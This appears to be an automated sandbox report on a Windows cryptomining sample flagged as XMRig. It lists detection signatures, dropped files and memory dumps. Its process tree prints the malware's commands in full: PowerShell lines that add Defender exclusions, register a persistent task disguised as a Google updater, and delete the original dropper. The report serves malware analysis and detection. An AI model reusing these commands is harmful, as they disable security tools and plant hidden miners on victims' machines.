Resubmissions

25/01/2024, 16:55

240125-vfcyksbhgr10

24/01/2024, 17:15

240124-vstf4aecaj10

23/01/2024, 19:27

240123-x6cfvagbd910

23/01/2024, 19:27

240123-x6bvbafgem10

23/01/2024, 19:27

240123-x6bjjsgbd810

23/01/2024, 19:27

240123-x6ax1sfgek10

23/01/2024, 19:27

240123-x6abgsfgej10

23/01/2024, 19:27

240123-x591qagbd710

23/01/2024, 19:27

240123-x59d7agbd610

23/01/2024, 19:27

240123-x584esgbd510

Analysis

  • max time kernel
    1798s
  • max time network
    1793s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/01/2024, 19:27

General

  • Target
    grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
  • Size 2.0MB
  • Sample240123-x59d7agbd6
  • SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 9 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Executes dropped EXE 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 31 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3364
      • C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe
        "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2608
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2220
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4724
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:3176
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\DLKFnAGYJBNTnxwq.exe"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4788
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:1872
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:4352
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            PID:64
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
              PID:1992
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              • Suspicious use of WriteProcessMemory
              PID:4424
            • C:\Windows\System32\conhost.exe
              C:\Windows\System32\conhost.exe qtdiqnkejoz
              2⤵
              • Suspicious use of NtCreateUserProcessOtherParentProcess
              • Suspicious behavior: EnumeratesProcesses
              PID:1404
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            1⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:2164
            • C:\Windows\System32\cmd.exe
              C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
              2⤵
              • Drops file in Program Files directory
              PID:5032
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            1⤵
            • Detects videocard installed
            PID:3056

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 39KB
                • SHA256 792428b8f45ff1554cbbb3678fb90f035754267af02572f9c25a1367821d77e5
                • MD5 SHA1 SHA512 SSDEEP

                updater.exe

                • Path C:\Program Files\Google\Chrome\updater.exe
                • Size 1.2MB
                • SHA256 968464a3a5b6655b5f3dff71c0a6d3fde849f5ced3004c9ffb66da30f5bda10d
                • MD5 SHA1 SHA512 SSDEEP

                g.log

                • Path C:\Program Files\Google\Libs\g.log
                • Size 226B
                • SHA256 b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 944B
                • SHA256 5781f3046b0d978469415a059cf5ceae0e532869e69ab1dffb8ed878bd299b07
                • MD5 SHA1 SHA512

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 4e210dede619a6a139357f24d89df3e27d92519b3cc9bb9fcd0bbb8158f65230
                • MD5 SHA1 SHA512

                __PSScriptPolicyTest_ptw5ganj.lpi.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ptw5ganj.lpi.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                powershell.exe.log

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 4KB
                • SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
                • MD5 SHA1 SHA512 SSDEEP

                StartupProfileData-NonInteractive

                • Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
                • MD5 SHA1 SHA512

                memory/64-111-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

                memory/64-98-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

                memory/64-110-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

                memory/64-99-0x000001C8AF730000-0x000001C8AF740000-memory.dmp

                memory/64-113-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/64-97-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/1404-124-0x00007FF687F20000-0x00007FF687F36000-memory.dmp

                memory/1404-130-0x00007FF687F20000-0x00007FF687F36000-memory.dmp

                memory/1992-143-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-149-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-185-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-183-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-181-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-179-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-177-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-175-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-173-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-171-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-169-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-167-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-165-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-163-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-161-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-159-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-157-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-155-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-153-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-151-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-147-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-145-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-141-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-139-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-137-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-135-0x0000027F62510000-0x0000027F62530000-memory.dmp

                memory/1992-134-0x0000027F624F0000-0x0000027F62510000-memory.dmp

                memory/1992-133-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-131-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-129-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-118-0x0000027F61EE0000-0x0000027F61F00000-memory.dmp

                memory/1992-117-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-123-0x0000027F61F50000-0x0000027F61F70000-memory.dmp

                memory/1992-127-0x0000027F62510000-0x0000027F62530000-memory.dmp

                memory/1992-125-0x00007FF6822B0000-0x00007FF682AA4000-memory.dmp

                memory/1992-126-0x0000027F624F0000-0x0000027F62510000-memory.dmp

                memory/2164-119-0x00007FF7D0950000-0x00007FF7D0B61000-memory.dmp

                memory/2164-51-0x00007FF7D0950000-0x00007FF7D0B61000-memory.dmp

                memory/2220-33-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/2220-31-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

                memory/2220-30-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

                memory/2220-29-0x0000020E77CB0000-0x0000020E77CC0000-memory.dmp

                memory/2220-28-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/2608-0-0x00007FF7C06D0000-0x00007FF7C08E1000-memory.dmp

                memory/2608-35-0x00007FF7C06D0000-0x00007FF7C08E1000-memory.dmp

                memory/4240-12-0x0000017072F70000-0x0000017072F80000-memory.dmp

                memory/4240-11-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4240-16-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4240-13-0x0000017072F70000-0x0000017072F80000-memory.dmp

                memory/4240-1-0x0000017075120000-0x0000017075142000-memory.dmp

                memory/4352-76-0x000002AC1B5D0000-0x000002AC1B5DA000-memory.dmp

                memory/4352-74-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

                memory/4352-79-0x000002AC1DCC0000-0x000002AC1DCDA000-memory.dmp

                memory/4352-86-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4352-83-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

                memory/4352-81-0x000002AC1DCA0000-0x000002AC1DCA6000-memory.dmp

                memory/4352-82-0x000002AC1DCB0000-0x000002AC1DCBA000-memory.dmp

                memory/4352-78-0x000002AC1B5E0000-0x000002AC1B5EA000-memory.dmp

                memory/4352-77-0x000002AC1B600000-0x000002AC1B61C000-memory.dmp

                memory/4352-62-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

                memory/4352-80-0x000002AC1B5F0000-0x000002AC1B5F8000-memory.dmp

                memory/4352-75-0x000002AC1DAA0000-0x000002AC1DB55000-memory.dmp

                memory/4352-73-0x000002AC1B5B0000-0x000002AC1B5CC000-memory.dmp

                memory/4352-61-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4352-63-0x000002AC1B620000-0x000002AC1B630000-memory.dmp

                memory/4724-50-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4724-46-0x00007FFA18ED0000-0x00007FFA19991000-memory.dmp

                memory/4724-47-0x000001F43E3C0000-0x000001F43E3D0000-memory.dmp